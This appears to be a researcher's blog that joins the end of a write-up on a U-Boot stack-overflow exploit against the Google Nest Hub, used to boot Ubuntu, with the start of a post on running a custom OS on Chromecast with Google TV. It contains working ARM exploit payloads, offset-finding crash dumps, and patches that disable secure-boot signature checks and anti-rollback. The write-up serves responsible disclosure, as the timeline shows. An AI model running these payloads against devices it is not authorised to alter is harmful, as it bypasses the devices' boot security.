<p>The bug allows to overflow a buffer on the stack to overwrite a return address. First, we look for the offset in our payload that will overwrite that return address. For that, we create a <a href="proxy.php?url=https://github.com/frederic/chipicopwn/blob/main/payloads/poc_step1.S">payload filled with incremental invalid pointers</a> :</p>
<div class="highlight"><pre><span></span><span class="na">.text</span>
<span class="na">.global</span> <span class="no">_start</span>
<span class="nl">_start:</span>
<span class="na">.word</span> <span class="mi">0xFFFFFC00</span>
<span class="na">.word</span> <span class="mi">0xFFFFFC01</span>
<span class="na">.word</span> <span class="mi">0xFFFFFC02</span>
<span class="err">[</span><span class="na">...</span><span class="p">]</span>
<span class="na">.word</span> <span class="mi">0xFFFFFFFF</span>
</pre></div>
<p>Then, we <a href="proxy.php?url=https://github.com/frederic/chipicopwn/commit/42ced2f16d4c7f64f74d6d6d13e93d85a72c8ba7">modify the Pico code</a> to use this payload as the block 0 of the block device. The device crashes again :</p>
<div class="highlight"><pre><span></span><span class="s">"Synchronous Abort"</span> <span class="n">handler</span><span class="p">,</span> <span class="n">esr</span> <span class="mh">0x8a000000</span>
<span class="nl">elr</span><span class="p">:</span> <span class="n">fffffc8f8110dc8e</span> <span class="nl">lr</span> <span class="p">:</span> <span class="n">fffffc8f8110dc8e</span> <span class="p">(</span><span class="n">reloc</span><span class="p">)</span>
<span class="nl">elr</span><span class="p">:</span> <span class="n">fffffc8ffffffc8e</span> <span class="nl">lr</span> <span class="p">:</span> <span class="n">fffffc8ffffffc8e</span>
<span class="nl">x0</span> <span class="p">:</span> <span class="mf">00000000ff</span><span class="n">ffffff</span> <span class="nl">x1</span> <span class="p">:</span> <span class="mo">0000000000000001</span>
<span class="nl">x2</span> <span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5888</span> <span class="nl">x3</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x4</span> <span class="p">:</span> <span class="mo">0000000000001000</span> <span class="nl">x5</span> <span class="p">:</span> <span class="mo">0000000000000200</span>
<span class="nl">x6</span> <span class="p">:</span> <span class="n">fffffffffffffffe</span> <span class="nl">x7</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x8</span> <span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x9</span> <span class="p">:</span> <span class="mo">000000000000000</span><span class="mi">8</span>
<span class="nl">x10</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c0021b0</span> <span class="nl">x11</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009b80</span>
<span class="nl">x12</span><span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x13</span><span class="p">:</span> <span class="mo">0000000000000001</span>
<span class="nl">x14</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5c4c</span> <span class="nl">x15</span><span class="p">:</span> <span class="mf">00000000ff</span><span class="n">ffffff</span>
<span class="nl">x16</span><span class="p">:</span> <span class="mo">0000000000004060</span> <span class="nl">x17</span><span class="p">:</span> <span class="mo">00000000000000</span><span class="mi">84</span>
<span class="nl">x18</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bee1dc8</span> <span class="nl">x19</span><span class="p">:</span> <span class="n">fffffc91fffffc90</span>
<span class="nl">x20</span><span class="p">:</span> <span class="n">fffffc93fffffc92</span> <span class="nl">x21</span><span class="p">:</span> <span class="n">fffffc95fffffc94</span>
<span class="nl">x22</span><span class="p">:</span> <span class="mo">000000000000002</span><span class="n">a</span> <span class="nl">x23</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span>
<span class="nl">x24</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span> <span class="nl">x25</span><span class="p">:</span> <span class="mf">000000007ff</span><span class="n">dcd80</span>
<span class="nl">x26</span><span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x27</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x28</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009ac0</span> <span class="nl">x29</span><span class="p">:</span> <span class="n">fffffc8dfffffc8c</span>
<span class="n">Resetting</span> <span class="n">CPU</span> <span class="p">...</span>
</pre></div>
<p>We can notice that the link register <em>lr</em> contains an invalid pointer : fffffc8ffffffc8e. We recognize values 0xFFFFFC8E and 0xFFFFFC8F from our payload. This means the offset is 0x238 (0x8e * 4 bytes).</p>
<h2>3.3 Payload address</h2>
<p>We can now redirect code execution to an arbitrary address specified at offset 0x238 in our payload. The next step is to determine the start address of this payload to finally execute it.</p>
<p>We create a <a href="proxy.php?url=https://github.com/frederic/chipicopwn/blob/main/payloads/poc_step2.S">large payload</a> (maximum allowed block size is 0x8000) filled with many branch instructions that all lead to few instructions at the very end.</p>
<p>If we manage to guess the address of any of these 8,185 branch instructions, the payload will be executed.
And we have a major hint : we already know that stack top is located below <em>gd</em> address (register <em>x18</em>).</p>
<p>One educated guess is : (gd - 0x8000) = (0x7bee1dc8 - 0x8000) = <strong>0x7BED9DC8</strong>.</p>
<div class="highlight"><pre><span></span><span class="na">.text</span>
<span class="na">.global</span> <span class="no">_start</span>
<span class="nl">_start:</span>
<span class="nf">b</span> <span class="no">_payload</span>
<span class="nf">b</span> <span class="no">_payload</span>
<span class="err">[</span><span class="na">...</span><span class="p">]</span>
<span class="na">.dword</span> <span class="mi">0x7BED9DC8</span> <span class="c1">// payload pointer at offset 0x238</span>
<span class="err">[</span><span class="na">...</span><span class="p">]</span>
<span class="nf">b</span> <span class="no">_payload</span>
<span class="nf">b</span> <span class="no">_payload</span>
<span class="nl">_payload:</span>
<span class="nf">adr</span> <span class="no">x19</span><span class="p">,</span> <span class="no">_start</span>
<span class="nf">mov</span> <span class="no">x20</span><span class="p">,</span> <span class="no">x30</span>
<span class="nf">mov</span> <span class="no">x21</span><span class="p">,</span> <span class="no">sp</span>
<span class="nf">mov</span> <span class="no">x22</span><span class="p">,</span> <span class="c1">#0xcafe</span>
<span class="nf">blr</span> <span class="no">x13</span>
</pre></div>
<p>The first instruction <em>adr</em> sets register <em>x19</em> to the payload's start address.
The last instruction <em>blr</em> branches to an invalid pointer <em>x13</em> to ensure a crash, and thus dump registers on UART.</p>
<p>We <a href="proxy.php?url=https://github.com/frederic/chipicopwn/commit/e118c46355d35d8ef40450fcbee2ca2ccb49ffb2">modify the Pico code</a> to use this new payload. The device crashes again :</p>
<div class="highlight"><pre><span></span><span class="s">"Synchronous Abort"</span> <span class="n">handler</span><span class="p">,</span> <span class="n">esr</span> <span class="mh">0x8a000000</span>
<span class="nl">elr</span><span class="p">:</span> <span class="n">ffffffff8110e001</span> <span class="nl">lr</span> <span class="p">:</span> <span class="n">fffffffffcfeb700</span> <span class="p">(</span><span class="n">reloc</span><span class="p">)</span>
<span class="nl">elr</span><span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">lr</span> <span class="p">:</span> <span class="mo">000000007</span><span class="n">bedd700</span>
<span class="nl">x0</span> <span class="p">:</span> <span class="mf">00000000ff</span><span class="n">ffffff</span> <span class="nl">x1</span> <span class="p">:</span> <span class="mo">0000000000000001</span>
<span class="nl">x2</span> <span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5888</span> <span class="nl">x3</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x4</span> <span class="p">:</span> <span class="mo">000000000000</span><span class="mi">8000</span> <span class="nl">x5</span> <span class="p">:</span> <span class="mo">0000000000000200</span>
<span class="nl">x6</span> <span class="p">:</span> <span class="n">d63f01a0d2995fd6</span> <span class="nl">x7</span> <span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x8</span> <span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x9</span> <span class="p">:</span> <span class="mo">000000000000000</span><span class="mi">8</span>
<span class="nl">x10</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c0021b0</span> <span class="nl">x11</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009b80</span>
<span class="nl">x12</span><span class="p">:</span> <span class="mo">0000000000000001</span> <span class="nl">x13</span><span class="p">:</span> <span class="mo">0000000000000001</span>
<span class="nl">x14</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5c4c</span> <span class="nl">x15</span><span class="p">:</span> <span class="mf">00000000ff</span><span class="n">ffffff</span>
<span class="nl">x16</span><span class="p">:</span> <span class="mo">0000000000004060</span> <span class="nl">x17</span><span class="p">:</span> <span class="mo">00000000000000</span><span class="mi">84</span>
<span class="nl">x18</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bee1dc8</span> <span class="nl">x19</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5700</span>
<span class="nl">x20</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed9dc8</span> <span class="nl">x21</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">bed5960</span>
<span class="nl">x22</span><span class="p">:</span> <span class="mo">000000000000</span><span class="n">cafe</span> <span class="nl">x23</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span>
<span class="nl">x24</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c008490</span> <span class="nl">x25</span><span class="p">:</span> <span class="mf">000000007ff</span><span class="n">dcd80</span>
<span class="nl">x26</span><span class="p">:</span> <span class="mo">0000000000000000</span> <span class="nl">x27</span><span class="p">:</span> <span class="mo">0000000000000000</span>
<span class="nl">x28</span><span class="p">:</span> <span class="mo">000000007</span><span class="n">c009ac0</span> <span class="nl">x29</span><span class="p">:</span> <span class="mf">14001f6e14001</span><span class="n">f6f</span>
<span class="n">Resetting</span> <span class="n">CPU</span> <span class="p">...</span>
</pre></div>
<p>Register <em>x22</em> contains the flag that indicates the payload was executed successfully. And <em>x19</em> reveals that payload's start address is <strong>0x7bed5700</strong>.</p>
<p>To summarize, the exploit requires an USB Mass Storage device with :</p>
<ul>
<li>block size of 1024, 2048, 4096, 8192, 16384 or 32768 bytes</li>
<li>payload contained in block 0</li>
<li>value 0x000000007bed5700 set at offset 0x238 in block 0</li>
</ul>
<h2>3.4 Dumping running bootloader</h2>
<p>We can now execute arbitrary code. But developing a baremetal payload that loads an alternative bootloader/OS from an USB flash drive is a bit tricky. Instead, it would be easier to directly call the bootloader code already in memory. But to do so, we must first obtain the bootloader.</p>
<p>We create a <a href="proxy.php?url=https://github.com/frederic/chipicopwn/blob/main/payloads/memdump_over_uart.c">payload that dumps RAM memory over UART</a>. The information required to control the UART (registers, addresses) is obtained from U-Boot source code.</p>
<p>First, we dump the <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/master/include/asm-generic/global_data.h"><em>gd</em> structure</a> (register <em>x18</em>), because it contains a pointer to the bootloader code in RAM :</p>
<p><img alt="Dumped U-Boot gd structure" src="proxy.php?url=https://fredericb.info/blog/elaine/struct_gd_dump.png" style="display: block;margin-left: auto;margin-right: auto;"></p>
<p>Variable <em>gd->relocaddr</em> indicates that the bootloader is at <strong>0x7fef2000</strong>. We dump memory from this address up to <em>gd->ram_top</em>.</p>
<h2>3.5 Final payload</h2>
<p>With the bootloader image in hands, we can design a payload that relies on bootloader functions. We use <a href="proxy.php?url=https://ghidra-sre.org/">Ghidra</a> to get the address of function <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/3918376e91dac7711cf04bd06f8de80e797edfea/common/cli.c#L84">run_command_list</a>, which gives us access to U-Boot built-in commands.</p>
<div class="highlight"><pre><span></span><span class="na">.text</span>
<span class="na">.global</span> <span class="no">_start</span>
<span class="nl">_start:</span>
<span class="nf">sub</span> <span class="no">sp</span><span class="p">,</span> <span class="no">sp</span><span class="p">,</span> <span class="c1">#0x1000 // move SP below us to avoid being overwritten when calling functions</span>
<span class="nf">ldr</span> <span class="no">x0</span><span class="p">,</span> <span class="no">_bug_ptr</span>
<span class="nf">ldr</span> <span class="no">x1</span><span class="p">,</span> <span class="no">_bug_fix</span>
<span class="nf">str</span> <span class="no">x1</span><span class="p">,</span> <span class="p">[</span><span class="no">x0</span><span class="p">]</span> <span class="c1">// fix the bug we just exploited</span>
<span class="nf">adr</span> <span class="no">x0</span><span class="p">,</span> <span class="no">_command_list</span>
<span class="nf">mov</span> <span class="no">w1</span><span class="p">,</span> <span class="c1">#0xffffffff</span>
<span class="nf">mov</span> <span class="no">w2</span><span class="p">,</span> <span class="c1">#0x0</span>
<span class="nf">ldr</span> <span class="no">x30</span><span class="p">,</span> <span class="no">_download_buf</span> <span class="c1">// set LR to download buffer</span>
<span class="nf">ldr</span> <span class="no">x3</span><span class="p">,</span> <span class="no">_run_command_list</span> <span class="c1">// load binary into download buffer</span>
<span class="nf">br</span> <span class="no">x3</span>
<span class="nl">_bug_ptr:</span> <span class="na">.dword</span> <span class="mi">0x7ff26060</span>
<span class="nl">_bug_fix:</span> <span class="na">.dword</span> <span class="mi">0xd65f03c0d2800000</span>
<span class="nl">_download_buf:</span> <span class="na">.dword</span> <span class="mi">0x01000000</span>
<span class="nl">_run_command_list:</span> <span class="na">.dword</span> <span class="mi">0x7ff24720</span>
<span class="nl">_command_list:</span> <span class="na">.asciz</span> <span class="s">"echo CHIPICOPWN!;osd setcolor 0x1b0d2b0d;usb reset;fatload usb 0 0x8000000 CHIPICOPWN.BMP;bmp display 0x8000000;while true;do usb reset;if fatload usb 0 0x01000000 u-boot-elaine.bin;then echo yolo;exit;fi;done;"</span>
</pre></div>
<p>This final payload :</p>
<ul>
<li>fixes (in RAM) the bug we just exploited</li>
<li>calls U-Boot function <a href="proxy.php?url=https://github.com/u-boot/u-boot/blob/3918376e91dac7711cf04bd06f8de80e797edfea/common/cli.c#L84">run_command_list</a> with <em>_command_list</em> as argument</li>
<li>sets the download buffer (0x01000000) as return address to execute next stage (if any)</li>
</ul>
<p>The U-Boot commands in <em>_command_list</em> load 2 files from the first FAT partition of USB Mass Storage device :</p>
<ul>
<li><em>CHIPICOPWN.BMP</em> : the logo to display</li>
<li><em>u-boot-elaine.bin</em> : the next payload to run. In our case, a custom U-Boot image.</li>
</ul>
<p>Once function <em>run_command_list</em> returns, the next payload is executed.</p>
<p>Since Rasperry Pi Pico flash memory is limited, we can put the file <em>u-boot-elaine.bin</em> on another USB flash drive that is hot-swapped with the Pico.</p>
<p>The <a href="proxy.php?url=https://github.com/frederic/chipicopwn">source code & prebuilt Pico binary with this final payload are available on GitHub</a>.</p>
<p><img alt="CHIPICOPWN booted on Google Nest Hub" src="proxy.php?url=https://fredericb.info/blog/elaine/chipicopwn-boot.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<h1>4. Booting Ubuntu from USB</h1>
<p>We can now boot an unsigned OS thanks to the exploitation tool. As a proof-of-concept, we make a bootable USB flash drive based on the <a href="proxy.php?url=https://cdimage.ubuntu.com/releases/22.04/release/">preinstalled Ubuntu image for Raspberry Pi Generic (64-bit ARM)</a>. Since this Ubuntu image is designed for another target, we must change few things to get it to boot :</p>
<p>We build a <a href="proxy.php?url=https://github.com/frederic/elaine-u-boot">custom U-Boot bootloader</a> with <a href="proxy.php?url=https://github.com/frederic/elaine-u-boot/commit/171be963a57cf089d15f6c4f2aa4ffb81d445d1b">secure boot disabled</a> and <a href="proxy.php?url=https://github.com/frederic/elaine-u-boot/commit/7d4ec4f68dc7bdca32511222ff1ed31b30b8f899">boot flow altered to load environment from USB flash drive</a>.
We also build a <a href="proxy.php?url=https://github.com/frederic/elaine-linux">custom Linux kernel for elaine</a> with <a href="proxy.php?url=https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51">additionnal drivers like USB mouse</a>.
The initial ramdisk (initrd) from Ubuntu is <a href="proxy.php?url=https://github.com/frederic/elaine-bootimg#ramdisk-details">repacked</a> to integrate firmware binaries required for the touchscreen. The boot image is <a href="proxy.php?url=https://github.com/frederic/elaine-bootimg/blob/main/mkbootimg.sh">created</a> based on the custom Linux kernel and modified initrd.</p>
<p>All these files are copied to the Ubuntu flash drive. <a href="proxy.php?url=https://github.com/frederic/chipicopwn">They are available on GitHub, as well as a step-by-step guide.</a></p>
<p><img alt="Ubuntu booted on Google Nest Hub" src="proxy.php?url=https://fredericb.info/blog/elaine/elaine-ubuntu.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<h1>Conclusion</h1>
<p>Hardware exploration led to uncovering an unexpected USB port. Software exploration revealed that it can boot from an USB Mass Storage device. Bug hunting exposed a stack overflow vulnerability in the DOS partition parser.</p>
<p>As a result, an attacker can execute arbitrary code at early boot stage (before kernel execution) by plugging a malicious USB device and pressing two buttons.</p>
<p>Several changes could have reduced the security risk.</p>
<p>At hardware level, the USB port — which is of no use to users — facilitates the attack. While removing external access to the USB interface doesn't fix the issue, it would require the attacker to fully disassemble the device, thereby increasing the time required to perform the attack.</p>
<p>At software level, attack surface can be reduced by not relying on partition or filesystem layers in the recovery feature. Instead, U-Boot could have read the recovery image from the raw block device (just like some BL1s read BL2 image).</p>
<p>Regarding the vulnerability itself, it shouldn't even exist since it's already been fixed upstream, twice :</p>
<ul>
<li><a href="proxy.php?url=https://github.com/u-boot/u-boot/commit/fe8c2806cdba70479e351299881a395dc2be7785">Bug introduced on 2002-11-02</a></li>
<li><a href="proxy.php?url=https://github.com/u-boot/u-boot/commit/54193c5d8133f4f35267f412e5c1bbcbc6ac041c">Fixed on 2011-07-27</a></li>
<li><a href="proxy.php?url=https://github.com/u-boot/u-boot/commit/8639e34d2c5e12cc2e45c95b1a2e97c22bf6a711">Bug reintroduced on 2018-02-07</a></li>
<li><a href="proxy.php?url=https://github.com/u-boot/u-boot/commit/7aed3d380981565b5bb2810d5d13aad1ff994f1a">Fixed 2019-09-19</a></li>
</ul>
<p>The lack of CVE may explain why it hasn't been propagated downstream.</p>
<p>Finally, mitigations in U-Boot, like stack canary or ASLR, could have made exploitation way harder, especially considering the <em>black-box</em> approach.</p>
<h1>Timeline</h1>
<ul>
<li>2021-10-28 : Attack vector doesn't qualify for Pwn2Own 2021</li>
<li>2021-11-01 : Vulnerability disclosed to Google</li>
<li>2021-12 : Security update released by Google</li>
<li>2022-06-15 : Public disclosure</li>
</ul>Booting Ubuntu on Google Chromecast With Google TV2021-11-29T00:00:00-08:002021-11-29T00:00:00-08:00Frédérictag:fredericb.info,2021-11-29:/2021/11/booting-ubuntu-on-google-chromecast-with-google-tv.html<p>In a previous post, we detailed <a href="proxy.php?url=https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html">a vulnerability in the Amlogic System-On-Chip bootROM</a> that allows arbitrary code execution at EL3.
Since the <a href="proxy.php?url=https://store.google.com/us/product/chromecast_google_tv">Chromecast with Google TV</a> (CCwGTV) is one of the devices affected by this issue, it opens the possibility to run a custom OS like Ubuntu.</p>
<p>This post describes …</p><p>In a previous post, we detailed <a href="proxy.php?url=https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html">a vulnerability in the Amlogic System-On-Chip bootROM</a> that allows arbitrary code execution at EL3.
Since the <a href="proxy.php?url=https://store.google.com/us/product/chromecast_google_tv">Chromecast with Google TV</a> (CCwGTV) is one of the devices affected by this issue, it opens the possibility to run a custom OS like Ubuntu.</p>
<p>This post describes the journey to boot Ubuntu on CCwGTV starting from arbitrary code execution in its bootROM. All the resources (bootloaders/tools/scripts) are <a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os">available on GitHub, as well as a step-by-step guide</a>.</p>
<iframe width="560" height="315" src="proxy.php?url=https://www.youtube.com/embed/pBg6oJn8aZM" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<h1>Disclaimer</h1>
<p>You are solely responsible for any damage caused to your hardware/software/keys/DRM licences/warranty/data/cat/etc...</p>
<h1>A straightforward plan</h1>
<p>CCwGTV, released on September 30th 2020, is based on the Amlogic S905D3 System-on-Chip and runs Android OS.
The objective is to boot Ubuntu instead, and doing so from an USB drive to keep the original OS untouched.</p>
<p>The device implements Secure Boot, which means each software component of the boot chain is <a href="proxy.php?url=https://en.wikipedia.org/wiki/Digital_signature">digitally signed</a> to prevent non-official code execution.
In order to boot a custom OS like Ubuntu, we'll rely on the bootROM vulnerability to break the Secure Boot and run custom code via the USB interface.</p>
<p>Google has <a href="proxy.php?url=https://support.google.com/chromecastbuiltin/answer/6121012">released Open Source code</a> of U-Boot and Linux for this device, which is very helpful for this project.</p>
<p>First, we'll obtain the <em>bootloader</em> image and extract BL2 image to customize it.
Then, we'll build a custom U-Boot image that boots from USB flash drive by default.
Finally, we'll repack the <em>bootloader</em> image with our custom U-Boot image.</p>
<h1>Boot chain overview</h1>
<p>The boot chain of this device is based on <a href="proxy.php?url=https://github.com/ARM-software/arm-trusted-firmware">ARM Trusted Firmware</a> (ATF).
In this design, the boot flow is divided in 5 steps executed one after another :</p>
<ul>
<li>Boot Loader stage 1 (BL1) <em>AP Trusted ROM</em> ↴</li>
<li>Boot Loader stage 2 (BL2) <em>Trusted Boot Firmware</em> ↴</li>
<li>Boot Loader stage 3-1 (BL31) <em>EL3 Runtime Software</em> ↴</li>
<li>Boot Loader stage 3-2 (BL32) <em>Secure-EL1 Payload</em> (optional) ↴</li>
<li>Boot Loader stage 3-3 (BL33) <em>Non-trusted Firmware</em></li>
</ul>
<p>The first stage of the boot flow, referred to as BL1, is the SoC bootROM. All firmware images for the next stages are stored in the <em>bootloader</em> partition on the internal flash memory.
The last stage, referred to as BL33, is the U-Boot image; unique Open Source firmware in this boot chain.</p>
<p>Using the vulnerability, we can exploit BL1 to run arbitrary code as BL2 stage. But we can't just run U-Boot as a BL2 image: all the firmwares are required to properly initialize the board (<a href="proxy.php?url=https://en.wikipedia.org/wiki/Phase-locked_loop">PLL</a>, <a href="proxy.php?url=https://en.wikipedia.org/wiki/Clock_signal">clocks</a>, DDR training, ...). So we have to load all the firmwares, and only replace the last one (BL33) with our custom U-Boot image.</p>
<p>Fortunately, the entire boot chain is designed to support loading over USB : if BL2 image detects that it has been loaded (in SRAM) via USB, it loads all the next stages (BL3x) over USB instead of the internal eMMC storage memory. The <a href="proxy.php?url=https://github.com/khadas/utils/blob/master/aml-flash-tool/tools/linux-x86/update">host-side tool</a> to send the bootloaders via USB is even provided by Khadas.</p>
<h1>Getting the firmware : the hard way</h1>
<p>When I started this research, no firmware or update files were available to download. So I had to remove the eMMC flash chip to dump the firmware and get a copy of the <em>bootloader</em> partition.</p>
<p><img alt="eMMC chip-off" src="proxy.php?url=https://fredericb.info/blog/sabrina/sabrina-emmc.png"></p>
<p>I used a <strong>YIHUA 8786D hot air rework station</strong> to remove the chip, and a <strong>ALLSOCKET eMMC153/169-SD Adapter</strong> to dump its content. Since it was my first attempt at eMMC chip-off technique, I followed the instructions given in a great talk from <a href="proxy.php?url=https://www.exploitee.rs/">Exploitee.rs</a> at <a href="proxy.php?url=https://www.blackhat.com/us-17/briefings/schedule/#hacking-hardware-with-a--sd-card-reader-6753">Black Hat 2017</a>.</p>
<p>Later on, few <a href="proxy.php?url=https://forum.xda-developers.com/t/cc-w-gtv-sabrina-new-ota-factory-image-dump.4198909/">OTA update files</a> appeared online, so this hardware modification is no longer required to get the <em>bootloader</em> partition image.</p>
<p>A <a href="proxy.php?url=https://github.com/ReFirmLabs/binwalk">quick analysis</a> of this <em>bootloader</em> partition doesn't reveal any standard filesystem, this file format seems proprietary. But since we also <a href="proxy.php?url=https://fredericb.info/2021/02/dump-amlogic-s905d3-bootrom-from-khadas-vim3l-board.html">dumped the bootROM</a>, we can still analyze the code that loads the BL2 image to find its location in the <em>bootloader</em> partition :</p>
<table>
<thead>
<tr>
<th>OFFSET</th>
<th>SIZE</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>0x1000</td>
<td>BL2 header</td>
</tr>
<tr>
<td>0x1000</td>
<td>0xF000</td>
<td>BL2 code</td>
</tr>
<tr>
<td>0x10000</td>
<td>n</td>
<td>Encrypted (BL3x)</td>
</tr>
</tbody>
</table>
<h1>Payload for BL1 exploitation</h1>
<p>The <a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl">exploitation tool amlogic-usbdl</a> allows us to load BL2 image in SRAM and execute it without signature check.
However, the bootROM exploitation leaves the USB controller in an invalid state, and this will prevent U-Boot from using it.</p>
<p>So we need a payload that restores the USB controller state before jumping to BL2 image :</p>
<div class="highlight"><pre><span></span><span class="cp">#define _clear_icache() ((void (*)(void))0xffff048c)()</span>
<span class="cp">#define _dwc_pcd_irq() ((void (*)(void))0xffff8250)()</span>
<span class="cp">#define _jmp_bl2() ((void (*)(void))0xfffa1000)()</span>
<span class="kt">void</span> <span class="nf">_start</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">_clear_icache</span><span class="p">();</span> <span class="c1">//clear instruction cache</span>
<span class="n">_dwc_pcd_irq</span><span class="p">();</span> <span class="c1">//clear USB state</span>
<span class="n">_dwc_pcd_irq</span><span class="p">();</span> <span class="c1">//after exploitation</span>
<span class="n">_jmp_bl2</span><span class="p">();</span> <span class="c1">//jump to BL2 entrypoint</span>
<span class="p">}</span>
</pre></div>
<p>Function <code>_dwc_pcd_irq</code> is the USB interruption handler implemented in the bootROM USB stack.
When the bootROM vulnerability is exploited, the code flow is diverted from this function, which obviously
prevents USB events to be fully and properly handled. Luckily for us, executing that USB handler a couple of times is enough to restore USB controller state.</p>
<p>This payload is copied at the beginning of the BL2 image. The data overwritten are headers that aren't used because the exploit jumps directly to this payload, which then jumps to BL2 entrypoint.</p>
<h1>Hacking BL2 image</h1>
<p>As previously mentioned, we use the <a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl">exploitation tool amlogic-usbdl</a> to load and run BL2 image. But the original BL2 image implements few features we must first disable to boot properly. This is where it gets dirty. We are free to modify BL2 code because it's signature won't be checked.</p>
<h2>Disabling BL33 Authentication</h2>
<p>Once loaded via USB and run, the BL2 code expects to receive the rest of the boot chain. If Secure Boot is enabled, BL2 checks the signature of all images including BL33 (U-Boot). We don't have the right key to sign our custom BL33 image, therefore we need to disable the BL33 signature check. We modify BL2 code to ignore the result of the signature check on BL33 image :</p>
<div class="highlight"><pre><span></span><span class="gd">--- <sabrina.bl2.factory.2020-07-13.img></span>
<span class="gi">+++ <sabrina.bl2.noSB.img></span>
<span class="gu">@@ -3,5 +3,5 @@</span>
fffabd70 81 c2 00 91 add x1,x20,#0x30
fffabd74 02 04 80 d2 mov x2,#0x20
fffabd78 8a 02 00 94 bl secure_memcmp
<span class="gd">-fffabd7c 60 03 00 35 cbnz w0,auth_fail</span>
<span class="gi">+fffabd7c 00 00 80 52 mov w0,#0x0</span>
fffabd80 80 72 40 39 ldrb w0,[x20, #0x1c]
</pre></div>
<h2>Disabling Anti-RollBack</h2>
<p>Anti-rollback (ARB) feature prevents execution of firmware images older than a specific version, which is stored in One Time Programmable (OTP a.k.a. efuses) memory. When firmware images are updated to a higher ARB version number, the OTP version is bumped-up by burning additional efuses.</p>
<p>So two kind of issues could arise depending on the bootloader version we run :</p>
<ul>
<li>if older than the version in OTP: ARB check will fail and it just won't boot.</li>
<li>if more recent than version in OTP : OTP version will be increased, and the ARB protection will block the original firmware (older version) from booting.</li>
</ul>
<p>In order to prevent such issues, we picked the oldest <em>bootloader</em> partition available (factory firmware), and we disable ARB feature in BL2 code :</p>
<div class="highlight"><pre><span></span><span class="gd">--- <sabrina.bl2.noSB.img></span>
<span class="gi">+++ <sabrina.bl2.noSB.noARB.img></span>
<span class="gu">@@ -1,8 +1,8 @@</span>
uint __cdecl IS_FEAT_ANTIROLLBACK_ENABLE(void)
uint w0:4 <RETURN>
IS_FEAT_ANTIROLLBACK_ENABLE
fffa1744 00 06 80 d2 mov x0,#0x30
fffa1748 60 ec bf f2 movk x0,#0xff63, LSL #16
fffa174c 00 00 40 b9 ldr w0,[x0]=>SEC_EFUSE_LIC0
<span class="gd">-fffa1750 00 18 46 d3 ubfx x0,x0,#0x6,#0x1</span>
<span class="gi">+fffa1750 00 00 80 d2 mov x0,#0x0</span>
fffa1754 c0 03 5f d6 ret
</pre></div>
<h2>Size reduction</h2>
<p>We remove 0x100 bytes of padding at the end of the BL2 image (original size is 0x10000 bytes) to comply with the 0xFF00 bytes payload size limit imposed by the exploitation tool.</p>
<h1>Building & customizing BL33</h1>
<p>Unlike BL2, BL33 is based on <a href="proxy.php?url=https://support.google.com/chromecastbuiltin/answer/6121012">Open Source software U-Boot</a>, so building & customizing it is pretty straightforward.</p>
<p>U-Boot boot sequence is defined with a scripting language that supports variables (global, local), control structures (if, while, etc...), and commands. We <a href="proxy.php?url=https://github.com/frederic/sabrina-uboot/commit/048ce71f67ac2622dc973f86a944679fbc026374">modify</a> the original script that boots from internal eMMC to instead load and run another script named <code>s905_autoscript</code> from an USB drive :</p>
<div class="highlight"><pre><span></span><span class="gd">--- sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h</span>
<span class="gi">+++ sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h</span>
<span class="gu">@@ -297,17 +299,14 @@</span>
"if test ${active_slot} != normal; then "\
"setenv bootargs ${bootargs} androidboot.slot_suffix=${active_slot};"\
"fi;"\
<span class="gd">- "if test ${avb2} = 0; then "\</span>
<span class="gd">- "if test ${active_slot} = _a; then "\</span>
<span class="gd">- "setenv bootargs ${bootargs} root=/dev/mmcblk0p23;"\</span>
<span class="gd">- "else if test ${active_slot} = _b; then "\</span>
<span class="gd">- "setenv bootargs ${bootargs} root=/dev/mmcblk0p24;"\</span>
<span class="gd">- "fi;fi;"\</span>
<span class="gd">- "fi;"\</span>
<span class="gd">- "if imgread kernel ${boot_part} ${loadaddr}; then "\</span>
<span class="gd">- "bootm ${loadaddr};"\</span>
<span class="gd">- "fi;"\</span>
<span class="gd">- "run fallback;"\</span>
